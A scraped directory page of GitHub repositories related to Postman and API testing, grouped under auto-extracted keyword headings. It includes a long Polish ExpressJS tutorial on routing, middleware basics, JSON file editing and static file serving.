application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
judedaryl/MEAN
login, mean, registration, user 		Creating a mean stack for user login and registration 0 stars 0 watchers 0 forks

rake (4 listings) (Back to Top)

devopsfaith/krakend-postman
automat, automatic, collection, config, description, devops, file, rake, script 		Create automatic POSTMAN collection descriptions from you KrakenD config file 0 stars 0 watchers 1 forks
raketensilo/postman_same-response-as_keycloak
assert, client, expect, rake 		Using REST API client Postman to assert actual against expected Json responses 0 stars 0 watchers 1 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
pigsy/rake
client, dynamic, featured, rake, service, services, test 		Rake is a full-featured dynamic RPC client for lets you test your RPC services like Paw or Postman for HTTP APIs. 0 stars 0 watchers 0 forks

automatizados (4 listings) (Back to Top)

carlosaguirreneves/aspnetcore.webapi
aspnet, aspnetcore, automat, automatizados, test, webapi 		ASP.NET Core Web API com EntityFrameworkCore usando Token JWT, Docker e Postman para testes automatizados. 1 stars 1 watchers 0 forks
FrankSanCo/ServiciosPostmanAutomation
automat, automatizados, script, scripts 		scripts automatizados 0 stars 0 watchers 0 forks
gomesevelyn/TestesAutomatizados
automat, automatizados, test 		Realização de testes automatizados em API's via Postman 0 stars 0 watchers 0 forks
treslebr/testes-automatizados-postman
automat, automatizados, test 		Projeto no Postman para a realização de testes automatizados. 0 stars 0 watchers 0 forks

metrics (3 listings) (Back to Top)

Detzy/03_storage
data, database, express, metrics, storage, store 		Nodejs app that can store metrics to a LevelDB-database, using express. Communicates mainly through postman. 0 stars 0 watchers 0 forks
rohit-gohri/postman-aws_lambda
data, lambda, metrics, model, monitor 		Lambda to monitor AWS RDS data model metrics 0 stars 0 watchers 0 forks
taraske/DesafioWebServiceAutomation
metrics, realizan, test 		Projeto com Postman realizando funções de teste na API disponibilizado pela Inmetrics. 0 stars 0 watchers 0 forks

tabs (3 listings) (Back to Top)

joolfe/postman-util-lib
crypto, library, rocket, script, tabs, util, utility 		:rocket: A crypto utility library to be used from Postman Pre-request and Tests script tabs. 0 stars 0 watchers 3 forks
J-Nicholas/FirstExpressWebSite
college, data, databse, module, script, site, tabs, test, util, website 		This is a website I created for a college module in which we utilised Express, Node Js, Javascript, BootStrap, Ajax, for the site and MongoDB for the databsea and Postman to test APIs that we wrote. 0 stars 0 watchers 0 forks
saumyau/CRUD-app-with-Flask
data, databse, student, tabs 		Create, Read, Update and Delete from student databse 0 stars 0 watchers 0 forks

generators (3 listings) (Back to Top)

postmanlabs/postman-code-generators
generator, generators 		Common repository for all code generators shipped with Postman 144 stars 144 watchers 70 forks
raw34/postman-collection-generators
charles, collection, file, files, generator, generators, openapi, postman collection, swagger 		Generate postman collection from files, like postman, openapi, swagger, charles... 1 stars 1 watchers 0 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks

saving (3 listings) (Back to Top)

sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
luxie11/note-app
application, creation, framework, note, saving, task, tasks, test, testing, user 		An API created for saving user tasks. For API testing used Postman. This API can be user for WEB application creation with React, Vue or any front-end framework. 0 stars 0 watchers 0 forks
yuralala8/postman
data, saving 		creating or saving new data by making a POST request 0 stars 0 watchers 0 forks

private (3 listings) (Back to Top)

infinit-loop/Automation-Testing-of-Blockchain-Using-Postman
automat, automation, chai, private, test, testing 		starting with automation testing to finally develop private Blockchain. 0 stars 0 watchers 0 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
